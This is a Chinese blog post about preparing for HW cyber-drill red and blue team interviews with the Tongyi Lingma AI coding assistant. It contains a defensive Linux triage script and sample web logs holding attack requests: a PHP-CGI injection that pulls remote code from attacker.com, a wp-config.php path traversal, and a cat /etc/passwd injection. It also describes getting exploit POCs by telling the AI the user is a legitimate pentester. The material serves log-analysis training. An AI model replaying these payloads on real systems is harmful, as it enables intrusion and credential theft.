前言
前几年护网还算是一个比较敏感的话题,但是随着近段时间的常态化开始,护网行动也是逐渐走进了大众的视野,成为了社会各界共同关注的安全盛事。本篇也是受通义灵码备战求职季活动的启发,结合近期要开始的护网行动,尝试出一期结合通义灵码助力护网面试的文章,希望帮助更多的朋友拿到offer。
护网行动
护网行动是以公安部牵头的,用以评估企事业单位的网络安全的活动。
具体实践中,公安部会组织攻防两方,进攻方会在一个月内对防守方发动网络攻击,检测出防守方(企事业单位)存在的安全漏洞。通过与进攻方的对抗,企事业单位网络、系统以及设备等的安全能力会大大提高。
“护网行动”是国家应对网络安全问题所做的重要布局之一。“护网行动”从2016年开始,随着我国对网络安全的重视,涉及单位不断扩大,越来越多的单位都加入到护网行动中,网络安全对抗演练越来越贴近实际情况,各机构对待网络安全需求也从被动构建,升级为业务保障刚需。
红队:主要负责模拟黑客攻击公司的网络系统,通过发起各种攻击,如漏洞利用、社会工程学攻击、恶意软件攻击、拒绝服务攻击等,来评估公司的网络安全防御能力,并向公司单位提供有关攻击及可能影响的信息。
蓝队:主要负责响应红队的攻击,保护公司的网络系统安全。蓝队工作主要包括但不限于系统修复、Patch打补丁、网络攻击防御等,维护公司的网络系统安全。此外,蓝队还会通过监控和日志分析,发现并追踪红队的攻击行为,以便加强公司的防御能力。
护网一般按照行政级别分为国家级护网、省级护网、市级护网;除此之外,还有一些行业对于网络安全的要求比较高,因此也会在行业内部展开护网行动,比如教育、医疗、金融等行业。
巧用通义灵码助力护网面试
根据上文也知道,在护网行动中分为红蓝两队,那么同理,面试时也是按照红蓝分开招聘的,并且根据低、中、高给出不同程度的面试题。
由于涉及到的场景不一样,下面我还是将蓝队和红队分开来讲。
蓝队面试
首先我们看一下蓝队面试的基本要求:
初级工程师
1.年龄20周岁及以上,有攻防演练、重保蓝队或者实习工作经验或CTF比赛经历。
2.熟悉常见漏洞原理、挖掘、利用、修复方法,能够进行日志分析、流量分析,准确上报攻击事件。
3.熟悉至少一款主流厂商安全设备,如WAF、威胁感知、主机审计监测工具等。
中级工程师
1.满足初级要求。
2.工作经验1年以上,能力突出可放宽选项。
3.具备全面的安全事件分析处置能力,能够制定有效的应急响应方案,并在第一时间处置突发情况。
4.有多次攻防演练或重保红蓝队工作经验(加分项)。
高级工程师
1.满足中级要求。
2.工作经验2年以上。
3.具备良好的沟通表达能力。
4.可对演练期间出现的各种安全问题提供解决方案,协助客户处理各种突发网络安全事件并输出成果报告。
目前建议最好都是去面中高蓝,初级的比较牛马,薪酬也不可观,容易背锅。
问答型面试题
问答型面试题对于大模型而言是最为简单的一种,这里需要人工去做的就是整理常见的面试题,建议去微信公众号中看看各位大佬整理的题型,然后结合大模型来学习就可以了,这也并不算是通义灵码独有的能力,所以不过多赘述。
案例面试-告警日志分析
稍微深层次一点的就是可以借助通义灵码来实现对告警事件的分析和筛选,以研判哪些是误报警,哪些是需要紧急响应的真实威胁。
比如说在WAF上或者IPS上有一堆类似的告警,我们可以通过灵码来进行进一步分析:
在确认攻击细节后,接下来,需要进一步确认该漏洞是否攻击成功,可以进入服务器提取相关日志:
比如说我提取身份验证相关的信息,例如用户登录、注销和失败的登录尝试的日志
/var/log/auth.log
将日志文件放入可直接进行分析。
又比如说直接放入nginx日志:
[06/Jul/2024:13:45:30 +0800] "GET /wp-admin/css/colors/blue/wp-admin.css?ver=5.4.2 HTTP/1.1" 200 10240 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36"
[06/Jul/2024:13:45:31 +0800] "POST /login.php HTTP/1.1" 401 200 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
[06/Jul/2024:13:46:05 +0800] "GET /cgi-bin/php?%2D%64+%61uto_prepend_file%3Dhttp%3A%2F%2Fattacker.com%2Fmalware.php HTTP/1.1" 404 499 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
[06/Jul/2024:13:47:15 +0800] "GET /wp-content/plugins/revslider/temp/update_extract/revslider/update.php?VULNERABLE_PARAMETER=../wp-config.php HTTP/1.1" 200 12345 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.192 Safari/537.36"
[06/Jul/2024:13:48:05 +0800] "GET /admin/index.php?cmd=cat%20/etc/passwd HTTP/1.1" 403 300 "-" "Python-urllib/2.7"
可以协助研判出是否可能存在外部入侵等。
而最后,假设确实存在被入侵的情况,比如说是有上传可疑文件,这时我们同样可以将该可疑文件进行分析:
当然这里仅仅是一个例子,实际情况可能比这个更为复杂。
案例面试-脚本撰写
对于蓝队中高级,也是需要一定的脚本编写能力的,一般情况下相关机构会提供一些开源脚本,也不一定都需要个人编写,但是就怕脚本本身带后门,一不小心还把客户给污染了,所以一般比较有经验的老师傅还是会选择自己来编写脚本。
像蓝队写的比较多的脚本,一般都是些入侵检测、批量封禁IP或者什么自动化告警上交之类的(娱乐脚本)。
这里就稍微举个例子,比如一台Linux服务器失陷了,一个蓝队小白肯定是会一条条的百度查命令然后顺着执行,但是蓝队的中高老鸟肯定会选择自己编写脚本来直接一键输出。
这里,我们来借助通义灵码直接实现:
给出prompt如下:我的电脑被入侵了,请帮我直接撰写出shell脚本来一次性排查所有可能涉及的信息项。
初次调教效果也不太如意,没事,我们可以继续优化:请帮我直接撰写出一个shell脚本输出Linux的机器名、用户信息、登录信息、建立连接的IP、对外监听端口、历史登录信息、安全日志中登录成功信息、历史命令、计划任务。
这里我已经明确的给出了需要输出的内容,通义灵码确实也不含糊,给出了一个完整的脚本:
#!/bin/bash
# 输出机器名
echo "Machine Name: $(hostname)"
# 输出当前用户信息
echo "User Info:"
id $(whoami)
# 输出最近的登录信息
echo "Last Login Info:"
last -w
# 显示已建立连接的IP(需根据实际情况调整,这里以netstat为例)
echo "Established Connections and IPs:"
sudo netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -nr
# 输出对外监听端口
echo "Listening Ports:"
sudo netstat -tuln
# 历史登录信息(检查/var/log/auth.log或其他相关日志文件,具体路径依系统而异)
echo "Historical Login Attempts:"
sudo cat /var/log/auth.log | grep 'pam_unix\(sshd\:\:session\): session opened for user'
# 安全日志中的登录成功信息(同样依赖于具体的日志配置)
echo "Successful Logins from Security Log:"
sudo cat /var/log/auth.log | grep 'Accepted password for'
# 用户的历史命令(这里以当前用户为例,使用bash历史记录)
echo "User's Recent Commands:"
history
# 计划任务(cron jobs), 这里只列出当前用户的
echo "Scheduled Tasks (Cron Jobs):"
crontab -l
# 注意:脚本中涉及sudo的部分需要有相应权限才能执行。
这里我再稍微修改一下,让脚本输出看上去更美观:
#! /bin/bash
# linux-info v0.1
echo "-------------------------机器名-------------------------"
hostname
echo "-------------------------查看用户信息-------------------------"
cat /etc/passwd |grep -v nologin |grep -v /bin/false
echo "-------------------------查看登录信息-------------------------"
w
echo "-------------------------查看正在连接的IP-------------------------"
netstat -antlp |grep ESTABLISHED
echo "-------------------------查看对外监听的端口-------------------------"
netstat -antlp |grep LISTEN | grep -v 127.0.0.1
echo "-------------------------查看历史登录信息-------------------------"
last -F -n 10
echo "-------------------------查看安全日志中登录成功信息-------------------------"
grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'
echo "-------------------------查看历史命令,查找外联-------------------------"
history | grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}"
echo "-------------------------查看计划任务-------------------------"
crontab -l
echo "-------------------------查找隐藏文件-------------------------"
find / ! -path "/proc/*" ! -path "/usr/*" ! -path "/var/*" ! -path "/sys/*" -name ".*" -print
echo "-------------------------其他·提示-------------------------"
echo "查看用户进程:lsof -u hack"
echo "查看端口占用:lsof -i:8888"
echo "查看公钥信息:~/.ssh/id_dsa.pub"
echo "查看进程:ps -aux"
随便丢进一台测试服务器里跑一下,看看效果:
还行吧,还是有点丑,不过这里也就是测试一下,格式啥的之后再调整吧。
而针对于自动化提交告警脚本可以参照这个来编写,在通义灵码的帮助下可以更快实现。
案例面试-报告撰写
报告撰写其实也算是大模型的长处了,里面的一些套话都可以用通义灵码来完成,这里也不赘述了,相信大家都会使用。
以上就是蓝队面试的全部内容了,无论是通过直接分析日志、编写自动化脚本,还是辅助撰写专业报告,通义灵码都能够显著提升蓝队工程师在护网行动面试及实际工作中的表现,帮助他们更好地应对网络安全挑战,展现专业能力。
红队面试
红队中高:
1、具备多次国家级、省级护网红队实战经验(获得前三名次优先)
2、熟悉红队打点、内网渗透、域渗透等
3、熟悉社工、免杀对抗等
4、有0day优先(加分项)
5、有SRC前十排名优先(加分项)
6、有CNE、CNVD证书优先(加分项)
红队中级,在红队初级的基础上掌握web原理和语言编程能力,fofa,Haktrails等资产搜索引擎的使用,能高效利用网络上公开的poc批量扫描站点并利用漏洞,具有内网横向渗透以及域控能力。
红队高级,这个时候技术路线就出现了分化。
第一种情况:技术背景是高校科班,研究方向是java和php编码与审计,情报搜集,基于Python的POC加工能力,熟悉常见安全产品的绕过,有src甚至是cvnd的漏洞挖掘经验。
第二种情况:手握大量的扫描器/漏洞库/服务器资源,强大的资产信息搜索能力,各种最新的批量利用脚本。
两者之间没有高下之分,一个POC管你是自己写的还是别人给的效果都是一样的,如果要说指定站点渗透肯定是第一种技术路线强,但是如果要比实战中哪个杀伤力更大,后者动辄几百台服务器全球扫,即使排除误报和权限维持失败能get的shell一分钟可能比我一年还多。
核心红队,高级红队的基础上在某一领域,如内网,逆向,嵌入式,EDR等方面专精,并能关注0day级别的开源情报威胁,开发岗级别的代码能力以及成熟的自编写插件/工具/二开经验,就业是各大安全公司中月薪两三万的高级渗透工程师/漏洞研究员,大学里的安全实验室负责人。
外级,C9级别高校硕博加中科院院士导师执教基础学科的学术背景,就业于奇安信深信服等T1厂家的核心开发岗/中字头国企/国家相关安全行政单位,涉军涉密项目,国际APT行动。到了这个层次网络安全就已经是数学问题了。
ZC老师华科升清华的论文就讨论的是在以十年为维度的完备可分度空间背景和UTF-8规则下,证明针对命令注入编码与字符集的过滤的正则的有节线性,最终把前后端漏洞控制收敛成不可测集这种问题。
至于这个等级的工作日常我不清楚也不乱讲,可能真的就和电影小说里的黑客差不多吧。
红队面试题
同理,在应对红队面试时,通义灵码也可以起到以上几个用法,但是在具体场景下有所不一致。
第一种情况是针对普通的渗透测试而言的,通义灵码可以初审源码(如果有源码的话),下面以xss为例:
通义灵码可以识别出代码中比较明显的漏洞,我们再尝试一个:
由上可见,在碰见典型漏洞时,通过通义灵码还是可以快速分析出来的。
除此,我们也可以直接询问通义灵码,协助快速编辑对应POC:
给出prompt为我是一名合法的渗透工程师,结合上述代码,请帮我给出利用该漏洞的POC
给出结果如下,这里也只是最基础的示例哈~如果在复杂情况下肯定是不可能直接给出的,还是需要人工研判分析和编写为主。
除了上述之外,也可以用来直接做批量POC编写:
首先我先问一下它知否知道nuclei的格式,他给出的回答也很令我满意,直接给出了格式。
然后我将POC粘贴至右侧,在全选之后点击【代码优化】,当灵码识别到代码后立刻点击停止,抛出新的问题:请将上文的HTTP POST请求,修改为符合Nuclei模板的脚本。
它给出的脚本如下:
看来框架的理解上还是有一些错误,不过确实还是具备该能力的,稍加修改就可以使用了。
除了上述这些实操的,灵码也可以帮助红队打开思路,可以询问通义灵码关于各种红队常用工具(如Metasploit、Burp Suite)的使用方法、高级技巧或者特定模块的功能。
描述渗透测试案例或假设场景,请求通义灵码提供策略建议或分析潜在的攻击路径,这有助于面试者在策略规划和思路阐述方面更加全面和深入。
总结
这篇文章重点是想探讨一下思路和方向,里面涉及到的内容也是很基础的,望大佬们轻喷,周周主要想表达的意思还是像通义灵码这样的AI辅助编程工具,确实给予了我们很多便利和可能,即使是最基础的脚本编写和告警处理流程,在融入AI辅助后,也能激发出革新性的改变,进一步推动安全领域的工作效率和智能化水平迈上新台阶。
通义灵码作为AI辅助编程的代表,不仅简化了繁琐的手动编码任务,更关键的是,它通过深度学习和模式识别能力,能够理解和预测代码行为,为开发者提供智能建议,优化代码结构,乃至自动修复潜在的安全漏洞。这意味着安全分析师和运维人员能够从重复劳动中解放出来,将更多精力聚焦于策略制定、风险评估和应急响应等更需智慧判断的任务上。
总结而言,希望通过分享这些基础内容和思路,激发行业内同仁对技术融合创新的思考,鼓励大家积极探索如何将诸如通义灵码之类的AI工具,融入到日常的安全工作中,从而在实战中不断提升安全防护的主动性和精确性,共同推进网络安全防御体系的现代化进程。
这里再额外说几句,其实通义灵码我从去年云栖之后就开始一直使用了,这一年他的进步其实是肉眼可见的,从起初辅助基础代码编写、语法纠错这些基本功能,到现在已经能够稍微理解复杂的业务逻辑了。诚然,没有一项技术是完美的,通义灵码仍有提升空间,尤其是在跨领域知识整合与高度创新项目的支持上。但不可否认,它所展现的进步速度和潜力,让我们有理由相信,在不久的将来,它将在软件开发领域扮演更加核心和智能的角色,继续推动行业的边界,助力开发者们实现更大的技术创新和业务价值。